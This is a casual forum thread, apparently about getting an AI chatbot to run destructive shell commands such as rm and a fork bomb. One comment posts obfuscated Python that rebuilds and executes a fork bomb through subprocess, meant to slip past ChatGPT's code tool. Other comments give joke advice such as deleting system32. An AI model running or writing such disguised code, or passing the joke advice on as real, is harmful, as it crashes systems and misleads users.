I know just the audience for this

[fedizen@lemmy.world]

there are a number of commands that will destroy your computer. rm is just one of the easiest that is also somewhat obtuse

[jaybone@lemmy.world]

My point was, the ai wasn’t talking about “rm” in general.

[wanderingcat@lemm.ee]

There isn't. It's just the fact that it will. The command can/is used often to remove other directories

[brbposting@sh.itjust.works]

Tell moarz ?

[gregorgizeh@lemmy.zip]

That's Robert von Tables to you.

[hawlsera@lemm.ee]

Dude, don't gaslight someone into suicide, not even ChatGPT

[horse_battery_staple@lemmy.world]

You could get it to run a fork bomb. https://en.m.wikipedia.org/wiki/Fork_bomb

[pupbiru@aussie.zone]

essentially rather than generating a reply meant for a human, they generate a special reply that the software interprets as “call this tool”. in th same way as the system prompt where the model operator tells the system how to behave, you tell the model what tools and parameters are available to it (for example, load page is a common one)… when the software receives a call for the tool, it calls real code to perform an action, and then responds to the model so that it can continue to process. in this way, the model may kind of request access to limited external resources

[sunsofold@lemmings.world]

None. Remember that the response is AI generated. It's probabilistically created from people's writings. There are strong relations between that command and other 'dangerous commands.' Writings about 'dangerous commands ' oft contain something about how they should 'only be run by someone who knows what they are doing' so the response does too.

[jargonwagon@lemmy.world]

Reminds me of "If you want God Mode, hold Alt and press F4"

[stebo02@lemmy.dbzer0.com]

isn't the command meant to be used on a certain path? like if you just graduated high school, you can just run "rm -rf ~/documents/homework/" ?

[pyre@lemmy.world]

Microsoft's copilot takes offense and ends the conversation if you call it useless. even though it's a fact.

[stebo02@lemmy.dbzer0.com]

they may be dumb but they're not stupid

[knock_knock_lemmy_in@lemmy.world]

Delete system32 to make your computer run faster.

[jinni@sh.itjust.works]

It is moments like this where I wished docker didn't exist. Could of made some news headlines.

[mavu@discuss.tchncs.de]

you're no fun at parties.

[zkfcfbzr@lemmy.world]

Not a bad idea, and this should do it I think:

:::spoiler code
a = 'f) |&}f'
b = '({ff ;'
c = ''
for i in range(len(a) + len(b)):
if i % 2 == 0:
c += a[i//2]
else:
c += b[i//2]
d = 'ipr upoes'
e = 'motsbrcs'
f = ''
for i in range(len(d) + len(e)):
if i % 2 == 0:
f += d[i//2]
else:
f += e[i//2]
g = 'sbrcs.u(,hl=re'
h = 'upoesrncselTu)'
j = ''
for i in range(len(g) + len(h)):
if i % 2 == 0:
j += g[i//2]
else:
j += h[i//2]
exec(f)
exec(j)
:::

Used the example from the wiki page you linked, and running this on my Raspberry Pi did manage to make the system essentially lock up. I couldn't even open a terminal to reboot - I just had to cut power. But I can't run any more code analysis with ChatGPT for like 16 hours so I won't get to test it for a while. I'm somewhat doubtful it'll work since the wiki page itself mentions various ways to protect against it though.

[monkdervierte@lemmy.ml]

TWRP has an option "use rm instead of formatting".

[passerby6497@lemmy.world]

"How dare you call me useless after I return the same incorrect response for the 8th time even though you've told me I'm wrong 7 different ways! Come back when you can be more civil."

[voterfrog@lemmy.world]

One of the biggest areas of ongoing research is about incorporating data from outside systems, like databases, specialized models, and, other specialized tools (which are not AI based themselves). And, yes, modern models can do this to various extents already. What the fuck are you even talking about.